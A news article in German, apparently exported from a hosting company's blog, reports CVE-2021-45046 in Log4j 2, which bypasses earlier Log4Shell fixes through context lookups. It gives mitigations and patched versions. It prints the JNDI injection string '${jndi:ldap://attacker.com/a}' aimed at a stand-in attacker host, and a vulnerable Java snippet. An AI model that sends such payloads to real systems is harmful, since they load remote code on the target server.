{"id":102619,"date":"2021-12-15T09:36:53","date_gmt":"2021-12-15T07:36:55","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu"},"modified":"2021-12-15T09:36:53","modified_gmt":"2021-12-15T07:36:55","slug":"novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","status":"publish","type":"post","link":"https:\/\/prohoster.info\/de\/blog\/news\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","title":{"rendered":"Neue Angriffsvariante auf Log4j 2, die den hinzugef\u00fcgten Schutz umgeht.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
In der Implementierung von JNDI-Ersatzwerten in der Log4j 2-Bibliothek wurde eine weitere Schwachstelle (CVE-2021-45046) entdeckt, die trotz der in Version 2.15 hinzugef\u00fcgten Korrekturen und unabh\u00e4ngig von der Verwendung der Einstellung «log4j2.noFormatMsgLookup» auftritt. Das Problem stellt vor allem f\u00fcr \u00e4ltere Versionen von Log4j 2 eine Gefahr dar, die durch das Flag «noFormatMsgLookup» gesch\u00fctzt sind, da es m\u00f6glich ist, den Schutz gegen die fr\u00fchere Schwachstelle (Log4Shell, CVE-2021-44228) zu umgehen, die es erm\u00f6glicht, eigenen Code auf dem Server auszuf\u00fchren. Bei Benutzern der Version 2.15 beschr\u00e4nkt sich die Ausnutzung auf die Schaffung von Bedingungen, die zum Absturz der Anwendung aufgrund ersch\u00f6pfter Ressourcen f\u00fchren. <\/p>\n
Die Verwundbarkeit tritt nur auf Systemen auf, bei denen beim Protokollieren kontextbezogene Abfragen (Context Lookup) wie ${ctx:loginId} oder MDC-Templates (Thread Context Map), beispielsweise %X, %mdc und %MDC, verwendet werden. Die Ausnutzung reduziert sich darauf, Bedingungen zu schaffen, die zur Protokollierung von Daten f\u00fchren, die JNDI-Platzhalter enthalten, wenn im Anwendungskontext kontextbezogene Abfragen oder MDC-Templates verwendet werden, die die Formatierungsregeln f\u00fcr die Protokollausgabe definieren. <\/p>\n
Forscher von LunaSec haben darauf hingewiesen, dass diese Schwachstelle f\u00fcr Versionen von Log4j unter 2.15 als neuer Angriffsvektor f\u00fcr Log4Shell verwendet werden kann, der zur Codeausf\u00fchrung f\u00fchrt, wenn bei der Protokollierung ThreadContext-Ausdr\u00fccke verwendet werden, die externe Daten enthalten, unabh\u00e4ngig von der Aktivierung des Schutzflags «noMsgFormatLookups» oder des Musters «%m{nolookups}».
<\/center> <\/p>\n
Der Umgehungsschutz besteht darin, dass anstelle des direkten Ersetzungswerts «${jndi:ldap:\/\/attacker.com\/a}» dieser Ausdruck \u00fcber den Wert einer Zwischenvariable substituiert wird, die in den Formatierungsregeln f\u00fcr die Protokollausgabe verwendet wird. Zum Beispiel, wenn bei der Protokollierung der Kontextausdruck ${ctx:apiversion} verwendet wird, kann die Attacke durch das Ersetzen der Daten «${jndi:ldap:\/\/attacker.com\/a}» im Wert, der in die Variable apiversion geschrieben wird, durchgef\u00fchrt werden. Beispiel f\u00fcr anf\u00e4lligen Code: appender.console.layout.pattern = ${ctx:apiversion} \u2014 %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L \u2014 %m%n @GetMapping(«\/») public String index(@RequestHeader(«X-Api-Version») String apiVersion) { \/\/ Der Wert des HTTP-Headers «X-Api-Version» wird in den ThreadContext \u00fcbergeben ThreadContext.put(«apiversion», apiVersion); \/\/ Bei der Protokollierung wird der externe Wert apiversion \u00fcber ${ctx:apiversion} behandelt logger.info(«Received a request for API version»); return «Hello, world!»; } <\/p>\n
In der Version Log4j 2.15 kann die Verwundbarkeit f\u00fcr DoS-Angriffe genutzt werden, indem im ThreadContext Werte \u00fcbergeben werden, die zu einer Endlosschleife bei der Verarbeitung des Ausgabemusterformats f\u00fchren.
<\/center> <\/p>\n
Um die Schwachstelle zu beheben, wurden die Updates 2.16 und 2.12.2 ver\u00f6ffentlicht. In der Version Log4j 2.16 wurde neben den in Version 2.15 umgesetzten Korrekturen die Anbindung von JNDI LDAP-Anfragen an «localhost» standardm\u00e4\u00dfig vollst\u00e4ndig deaktiviert und die Unterst\u00fctzung f\u00fcr Nachrichtenersetzungs-Muster entfernt. Als Umgehungsl\u00f6sung wird empfohlen, die Klasse JndiLookup aus dem Classpath zu entfernen (zum Beispiel «zip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class»). <\/p>\n
Updates in den Paketen k\u00f6nnen auf den Seiten der Distributionen (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) und der Hersteller von Java-Plattformen (GitHub, Docker, Oracle, vmWare, Broadcom, Amazon\/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure usw.) verfolgt werden. \n Quelle: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
![\"Neue](\"\/wp-content\/uploads\/2021\/12\/abd6f205102d584b2f633fa8188bdd67.jpg\")
<\/center> <\/p>\n![\"Neue](\"\/wp-content\/uploads\/2021\/12\/5de7e9d9db53c53f5ebeed3bce6743c4.jpg\")
<\/center> <\/p>\n